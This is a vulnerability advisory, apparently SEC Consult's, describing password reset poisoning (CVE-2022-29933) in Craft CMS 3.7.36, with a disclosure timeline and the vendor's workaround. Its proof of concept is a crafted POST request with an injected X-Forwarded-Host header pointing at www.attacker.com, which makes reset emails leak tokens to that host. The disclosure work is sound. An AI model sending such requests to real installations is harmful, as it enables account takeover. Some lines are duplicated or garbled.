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# Craft CMS 3.7.36 Password Reset Poisoning Attack

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Posted May 6, 2022

Craft CMS version 3.7.36 suffers from a password reset poisoning vulnerability. An unauthenticated attacker who knows valid email addresses or account names of Craft CMS backend users is able to manipulate the password reset functionality in a way that the registered users of the CMS receive password reset emails containing a malicious password reset link.

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title: Password Reset Poisoning Attack

product: Craft CMS

vulnerable version: 3.7.36 and potentially lower fixed version: none, see workaround by vendor

CVE number: CVE-2022-29933 impact: high

homepage: https://craftcms.com

found: 2022-03-14 by: Sandro Einfeldt (Office Munich) SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company Europe  $\mid$  Asia  $\mid$  North America

https://www.sec-consult.com

Vendor description:

"Craft is a flexible, user-friendly CMS for creating custom digital

It features:

- An intuitive, user-friendly control panel for content creation and
- administrative tasks.
  A clean-slate approach to content modeling and front-end development that doesn't make any assumptions about your content or how it should be consumed.

  - A built-in Plugin Store with hundreds of free and commercial plugins,
- all just a click away.

   A robust framework for module and plugin development.

   An active, vibrant community."

Source: https://craftcms.com/docs/3.x/

Business recommendation:

The vendor responded that the vulnerability will not be fixed as a workaround

in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description:

Password Reset Poisoning Attack (CVE-2022-29933) 1) Password Reset Poisoning Attack (CVE-2022-29933)
The password reset function of the Craft CMS backend login page,
usually accessible under https://<hostname>/index.php?p=admin/login,
is vulnerable to a password reset poisoning attack. An unauthenticated
attacker who knows valid email addresses or account names of Craft CMS
backend users is able to manipulate the password reset functionality in
a way that the registered users of the CMS receive password reset emails
containing a malicious password reset link.

The link contains valid (secret) tokens in the URL's GET parameters that are necessary to authenticate against the server's password reset function and enable a user who lost or forgot the account's password to reset the password. By manipulating the password reset request, an attacker is able to set an arbitrary hostname in the resulting password reset link. Thereby, the attacker can set the link to point to an attacker-controlled host. If a user clicks on the reset link, the valid reset tokens in the GET parameters will be sent to the attacker's web server and can be extracted from the server logs. The attacker is able to build a valid

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password reset link by adding the tokens to the general reset link
 https://<hostname>/index.php?p=admin/set-password&code=<token1>&id=<token2>
If the attacker calls the filled out URL with a web browser, the
 attacker will be able to reset the account's password and log in.
1) Password Reset Poisoning Attack (CVE-2022-29933) First, the attacker needs to browse the following URL:
https://<hostname>/index.php?p=admin/login
The login mask contains a link "Forgot your password?". Following this link, the attacker gets prompted to submit a valid account name or emai address. After entering the account name or email address and pressing
the "Reset Password" button, the attacker can intercept the resulting HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The intercepted request can then be manipulated before getting forwarded to the server. The attacker needs to add the HTTP header
X-Forwarded-Host: <attacker host>
 while the value should contain the hostname of the webserver under the
 attacker's control.
 Manipulated Request:
 POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1
 Host: <IP>
 X-Forwarded-Host: www.attacker.com
 Referer: http://<IP>/index.php?p=admin/login
Referer: http://<IP>/index.php?p=admin/login
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Registered-Asset-Bundles: ,craft\web\assets\login\[...]
X-Registered-Js-Files: ,http://<IP>/cpresources/[...]
X-CSRF-Token: c9kBDPROifmFNKSKhght_JgkBgnnk5BfXiHlqHA[...]
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://<IP>
Connection: close
 Connection: close
 Cookie: CRAFT_CSRF_TOKEN=[...]
 loginName=test%40example.com
 The resulting server response indicates that the request has been processed.
Response:
 HTTP/1.1 200 OK
 Date: Mon, 14 Mar 2022 08:19:24 GMT
[...]
X-Powered-By: Craft CMS
Content-Length: 16
Connection: close
 Content-Type: application/json; charset=UTF-8
 {"success":true}
The user will then receive a malicious password reset email pointing to the hostname that the attacker provided by adding the X-Forwarded-Host header.
 Email:
 Hev Test,
 To reset your Test Install password, click on this link:
 http://www.attacker.com/index.php?p=admin/set-password&code=D6HWm7pGpYEt9mb-mPVh4kGzXWZ8ax5u&id=48b9fe48-91c9-
 430e-baa2-5bdf66c88102
 If you were not expecting this email, just ignore it.
If the user is not aware and clicks on the link, the values of the reset tokens "code" and "id" will be sent to the attacker's web server. The attacker is then able to relay the tokens to the original reset endpoint and reset the
 Vulnerable / tested versions:
The following version has been tested and found to be vulnerable:  
 ^{\star} 3.7.36
 Vendor contact timeline:
2022-03-10: Contacting vendor through contact form.
2022-03-14: Vendor provides Craft CMS installation for verifying the vulnerability.
2022-03-14: Vendor provides that this installation for Verlying the Vulnerability.
2022-03-22: SEC Consult provides the vulnerability advisory through contact form.
2022-03-23: Vendor responded that there is a hardening measure available.
2022-03-31: SEC Consult replied that all installations of the current version
(including the testing instance provided by the vendor) are vulnerable
by default and the vulnerability is implementation-based and results
from bad coding practices.
Until 2022-05-02: No answer from vendor.
2022-05-03: Set advisory release date to 5th May. Informing vendor about scheduled advisory release.
2022-05-05: Release of security advisory.
 Solution:
The vendor knows about the vulnerability and the resulting risks. A possible hardening measure has to be implemented manually and is documented here: https://craftcms.com/knowledge-base/securing-craft#explicitly-set-the-web-alias-for-the-site
 https://craftcms.com/docs/3.x/sites.html#site-url
 The vendor responded that the vulnerability will not be fixed as a workaround
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Other

Workaround:

The backend login interface and the password reset function should not be accessible from the internet or from any unknown IP addresses. The user must implement the workaround described in the hardening guide above in order to mitigate this issue.

Advisory URL:

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